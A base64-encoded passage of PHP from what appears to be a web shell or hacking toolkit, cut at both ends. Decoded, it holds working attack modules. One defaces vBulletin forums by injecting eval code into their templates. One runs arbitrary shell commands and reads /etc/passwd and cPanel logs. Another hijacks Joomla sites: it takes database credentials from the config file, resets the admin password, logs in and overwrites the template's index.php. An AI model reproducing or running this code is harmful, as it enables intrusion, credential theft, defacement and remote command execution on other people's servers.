BGaXJlZm94LzMuMC40Jyk7IA0KQGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7IA0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDIwKTsgDQoNCiRleGVjPWN1cmxfZXhlYygkY3VybCk7IA0KY3VybF9jbG9zZSgkY3VybCk7IA0KcmV0dXJuICRleGVjOyANCg0KfSANCg0KfSANCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3ZiJykpDQogICB7DQogICA/Pg0KICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9dmIiIG1ldGhvZD0icG9zdCI+DQogICA8YnI+PGJyPjxicj48ZGl2IGFsaWduPSJjZW50ZXIiPg0KICAgPEgyPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNDAwIj48Zm9udCBmYWNlPSJUcmVidWNoZXQgTVMiIHNpemU9IjQiPg0KICAgPGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi0tPT1bIFZCIEluZGV4IENoYW5nZXIgXT09LS08L2ZvbnQ+PC9iPg0KICAgPC9kaXY+PGJyPg0KICAgPD8NCiAgIGlmKGVtcHR5KCRfUE9TVFsnaW5kZXgnXSkpew0KICAgZWNobyAiPGNlbnRlcj48Rk9STSBtZXRob2Q9XCJQT1NUXCI+IjsNCiAgIGVjaG8gIjx0YWJsZSBjbGFzcz1cInRhYm5ldFwiPg0KPHRoIGNvbHNwYW49XCIyXCI+VmIgSW5kZXggQ2hhbmdlcjwvdGg+DQo8dHI+PHRkPmhvc3QgPC90ZD48dGQ+PGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwibG9jYWxob3N0XCIgdmFsdWU9XCJsb2NhbGhvc3RcIj48L3RkPjwvdHI+DQo8dHI+PHRkPmRhdGFiYXNlIDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cImRhdGFiYXNlXCIgdmFsdWU9XCJmb3J1bV92YlwiPjwvdGQ+PC90cj4NCjx0cj48dGQ+dXNlcm5hbWUgPC90ZD48dGQ+PGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwidXNlcm5hbWVcIiB2YWx1ZT1cInVzZXJfdmJcIj48L3RkPjwvdHI+DQo8dHI+PHRkPnBhc3N3b3JkIDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cInBhc3N3b3JkXCIgdmFsdWU9XCJ2YlwiPjwvdGQ+PC90cj4NCjwvdHI+DQo8dGggY29sc3Bhbj1cIjJcIj5Zb3VyIEluZGV4IENvZGU8L3RoPjwvdGFibGU+PHRhYmxlIGNsYXNzPVwidGFibmV0XCI+DQo8VEVYVEFSRUEgbmFtZT1cImluZGV4XCIgcm93cz1cIjEzXCIgc3R5bGU9XCJiYWNrZ3JvdW5kOmJsYWNrXCIgYm9yZGVyPVwiMVwiIGNvbHM9XCI2OVwiIG5hbWU9XCJjb2RlXCI+eW91ciBpbmRleCBjb2RlPC9URVhUQVJFQT48YnI+DQo8SU5QVVQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJzZXR0aW5nXCIgbmFtZT1cInNlbmRcIj4NCjwvRk9STT48L3RhYmxlPjwvY2VudGVyPiI7DQogICAgfWVsc2V7DQogICAgJGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107DQogICAgJGRhdGFiYXNlID0gJF9QT1NUWydkYXRhYmFzZSddOw0KICAgICR1c2VybmFtZSA9ICRfUE9TVFsndXNlcm5hbWUnXTsNCiAgICAkcGFzc3dvcmQgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107DQogICAgJGluZGV4ID0gJF9QT1NUWydpbmRleCddOw0KICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KICAgIEBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQogICAgJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7DQogICAgJHNldF9pbmRleCA9ICJ7XCR7ZXZhbChiYXNlNjRfZGVjb2RlKFwnIjsNCiAgICAkc2V0X2luZGV4IC49IGJhc2U2NF9lbmNvZGUoImVjaG8gXCIkaW5kZXhcIjsiKTsNCiAgICAkc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7DQogICAgZWNobygiVVBEQVRFIHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuJHNldF9pbmRleC4iJyAiKSA7DQogICAgJG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFIHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuJHNldF9pbmRleC4iJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiAgICBpZigkb2spew0KICAgIGVjaG8gIiEhIHVwZGF0ZSBmaW5pc2ggISE8YnI+PGJyPiI7DQogICAgfSANCiAgfQ0KfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnlwYXNzJykpIA0KeyANCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9YnlwYXNzIiBtZXRob2Q9InBvc3QiPg0KDQo8P3BocA0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jRkYwMDAwPi0tPT1bIENvbW1hbmQgIEJ5cGFzcyBFeHBsb2l0IF09PS0tPC9mb250PjwvYj48YnI+DQoiOw0KcHJpbnRfcignDQo8cHJlPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQo8Yj48Zm9udCBjb2xvcj0jRkYwMDAwPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Db21tYW5kICA6PSkgPC9mb250PjwvZm9udD48L2I+PGlucHV0IG5hbWU9ImJhYmEiIHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIHNpemU9IjM0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iPg0KPC9mb3JtPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+PHN0cm9uZz48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+TWVudSBCeXBhc3MgIDo9KSAgPC9mb250Pjwvc3Ryb25nPjxzZWxlY3QgbmFtZT0ibGl6MCIgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiI+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9wYXNzd2QiPi9ldGMvcGFzc3dkPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIj5uZXRzdGF0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciPi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9zeXNsb2cuY29uZiI+L2V0Yy9zeXNsb2cuY29uZjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvaG9zdHMiPi9ldGMvaG9zdHM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL25hbWVkLmNvbmYiPi9ldGMvbmFtZWQuY29uZjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIj4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZjwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHJm91bWw7Ij4NCjwvZm9ybT4NCjwvcHJlPg0KJyk7DQppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQokbGl6MD1zaGVsbF9leGVjKCRfUE9TVFtiYWJhXSk7IA0KJGxpejB6aW09c2hlbGxfZXhlYygkX1BPU1RbbGl6MF0pOyANCiR1aWQ9c2hlbGxfZXhlYygnaWQnKTsNCiRzZXJ2ZXI9c2hlbGxfZXhlYygndW5hbWUgLWEnKTsNCmVjaG8gIjxwcmU+PGg0PiI7DQoNCmVjaG8gJGxpejA7DQplY2hvICRsaXowemltOw0KZWNobyAiPC9oND48L3ByZT4iOw0KICI8L2Rpdj4iOyB9DQoNCiAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiANCiBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2pvZGV4ZXInKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWpvZGV4ZXIiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwDQoNCmZ1bmN0aW9uIHJhbmRvbXQoKSB7DQogICAgDQogICAgICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsNCiAgICAgICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsNCiAgICAgICAgJGkgPSAwOw0KICAgICAgICAkcGFzcyA9ICcnIDsNCiAgICANCiAgICAgICAgd2hpbGUgKCRpIDw9IDcpIHsNCiAgICAgICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsNCiAgICAgICAgICAgICR0bXAgPSBzdWJzdHIoJGNoYXJzLCAkbnVtLCAxKTsNCiAgICAgICAgICAgICRwYXNzID0gJHBhc3MgLiAkdG1wOw0KICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgfQ0KICAgIA0KICAgICAgICByZXR1cm4gJHBhc3M7DQogICAgDQogICAgfQ0KICAgIGZ1bmN0aW9uIGVudHJlMnYyKCR0ZXh0LCRtYXJxdWV1ckRlYnV0TGllbiwkbWFycXVldXJGaW5MaWVuLCRpPTEpDQogICAgew0KICAgICRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiAgICAkYXIxPWV4cGxvZGUoJG1hcnF1ZXVyRmluTGllbiwgJGFyMFskaV0pOw0KICAgICRhcj10cmltKCRhcjFbMF0pOw0KICAgIHJldHVybiAkYXI7DQogICAgfQ0KICAgIGlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pDQogICAgew0KICAgIA0KICAgICR0ZXh0PWZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsnZmlsZSddKTsNCiAgICAkdXNlcm5hbWU9ZW50cmUydjIoJHRleHQsInB1YmxpYyAkdXNlciA9ICciLCInOyIpOw0KICAgICRwYXNzd29yZD1lbnRyZTJ2MigkdGV4dCwicHVibGljICRwYXNzd29yZCA9ICcsICciLCInOyIpOw0KICAgICRkYm5hbWU9ZW50cmUydjIoJHRleHQsInB1YmxpYyAkZGIgPSAnLCAnIiwiJzsiKTsNCiAgICAkZGJwcmVmaXg9ZW50cmUydjIoJHRleHQsInB1YmxpYyAkZGJwcmVmaXggPSAnIiwiJzsiKTsNCiAgICAkc2l0ZV91cmw9KCRfUE9TVFsnc2l0ZV91cmwnXSk7DQogICAgDQogICAgJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7DQogICAgDQogICAgJGNvPXJhbmRvbXQoKTsgIA0KICAgICAgLyoNCiAgICBlY2hvKCR1c2VybmFtZSk7DQogICAgZWNobygiPGJyPiIpOw0KICAgIGVjaG8oJHBhc3N3b3JkKTsNCiAgICBlY2hvKCI8YnI+Iik7DQogICAgZWNobygkZGJuYW1lKTsNCiAgICBlY2hvKCI8YnI+Iik7DQogICAgZWNobygkZGJwcmVmaXgpOw0KICAgIGVjaG8oIjxicj4iKTsNCiAgICAqLw0KICAgICRjbz1yYW5kb210KCk7DQogICAgDQogICAgaWYgKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSkNCiAgICB7DQogICAgJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7DQogICAgDQogICAgDQogICAgDQogICAgDQogICAgDQogICAgICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgiZHpvZWQuZHJ1a25ldC5idCIsJHVzZXJuYW1lLCRwYXNzd29yZCkgOw0KICAgIA0KICAgICAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQogICAgDQogICAgJHRyeUNoYW5pbmdJbmZvID0gbXlzcWxfcXVlcnkoIlVQREFURSAiLiRkYnByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nYWRtaW4nICwgcGFzc3dvcmQgPSAnMmE5MzM2Zjc2NjZmOWY0NzRiN2E4ZjY3YjQ4ZGU1Mjc6RGlXcVJCUjF0aFRRYTJTdkJzRHFzVUVOcktPbVp0QVgnIik7DQogICAgZWNobygiPGJyPlsrXSBDaGFuZ2luZyBhZG1pbiBwYXNzd29yZCB0byAxMjM0NTY3ODkiKTsgIA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguImV4dGVuc2lvbnNgICIpOw0KICAgICAgICAgICAgICAgICAgICANCiAgICBpZiAoICRyZXEgKQ0KICAgIHsNCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICAgIFYxLjYgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgICANCiAgICAgICAgICAgICAgICAgIA0KICAgICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguInRlbXBsYXRlX3N0eWxlc2AgV0hFUkUgY2xpZW50X2lkPScwJyBhbmQgaG9tZT0nMSciKTsNCiAgICAgICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICR0ZW1wbGF0ZV9uYW1lPSRkYXRhWyJ0ZW1wbGF0ZSJdOw0KICAgIA0KICAgICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguImV4dGVuc2lvbnNgIFdIRVJFIG5hbWU9JyIuJHRlbXBsYXRlX25hbWUuIiciKTsNCiAgICAgICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICR0ZW1wbGF0ZV9pZD0kZGF0YVsiZXh0ZW5zaW9uX2lkIl07DQogICAgDQogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiAgICANCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7DQogICAgDQogICAgDQogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KICAgIA0KICAgICRyZXR1cm49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiAgICAkaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQogICAgDQogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJ1c2VybmFtZT1hZG1pbiZwYXNzd2Q9MTIzNDU2Nzg5Jm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiZyZXR1cm49Ii4kcmV0dXJuLiImIi4kaGlkZGVuLiI9MSIpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsNCiAgICAkYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQogICAgDQogICAgJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQogICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiAgICBlY2hvKCI8YnI+WytdIExvZ2luIEVycm9yIik7DQogICAgZXhpdDsNCiAgICB9DQogICAgZWxzZSB7DQogICAgZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQogICAgfQ0KICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KICAgICR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPXNvdXJjZS5lZGl0JmlkPSIuYmFzZTY0X2VuY29kZSgkdGVtcGxhdGVfaWQuIjppbmRleC5waHAiKTsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOw0KICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICANCiAgICAkaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOw0KICAgIGlmKCRoaWRkZW4yKSB7DQogICAgZWNobygiPGJyPlsrXSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICBlY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQogICAgZXhpdDsNCiAgICB9DQogICAgZWNobygiPGJyPlsqXSBVcGRhdGluZyBJbmRleC5waHAgLi4uLi4iKTsNCiAgICAkdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KICAgIA0KICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImpmb3JtW3NvdXJjZV09Ii4kaC4iJmpmb3JtW2ZpbGVuYW1lXT1pbmRleC5waHAmamZvcm1bZXh0ZW5zaW9uX2lkXT0iLiR0ZW1wbGF0ZV9pZC4iJiIuJGhpZGRlbjIuIj0xJnRhc2s9c291cmNlLnNhdmUiKTsNCiAgICANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7DQogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KICAgIA0KICAgICRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UiPicpOw0KICAgIGlmKCRwb3MgPT09IGZhbHNlKSB7DQogICAgZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCiAgICBleGl0Ow0KICAgIH0NCiAgICBlbHNlIHsNCiAgICBlY2hvKCI8YnI+W35dIGluZGV4LnBocCBzdWNjZXNzZnVsbHkgc2F2ZWQiKTsNCiAgICB9DQogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNiAgRU5EICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogICAgDQogICAgDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgDQogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNSAgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogICAgICAgICAgICAgICAgICAgIA0KICAgICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguInRlbXBsYXRlc19tZW51YCBXSEVSRSBjbGllbnRfaWQ9JzAnIik7DQogICAgICAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiAgICAkdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCiAgICANCiAgICAkdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsNCiAgICAkYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQogICAgDQogICAgJGhpZGRlbj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOw0KICAgIA0KICAgICR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQogICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1Njc4OSZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsNCiAgICAkYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQogICAgDQogICAgJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQogICAgDQogICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiAgICBlY2hvKCI8YnI+Wy1dIExvZ2luIEVycm9yIik7DQogICAgZXhpdDsNCiAgICB9DQogICAgZWxzZSB7DQogICAgZWNobygiPGJyPlsr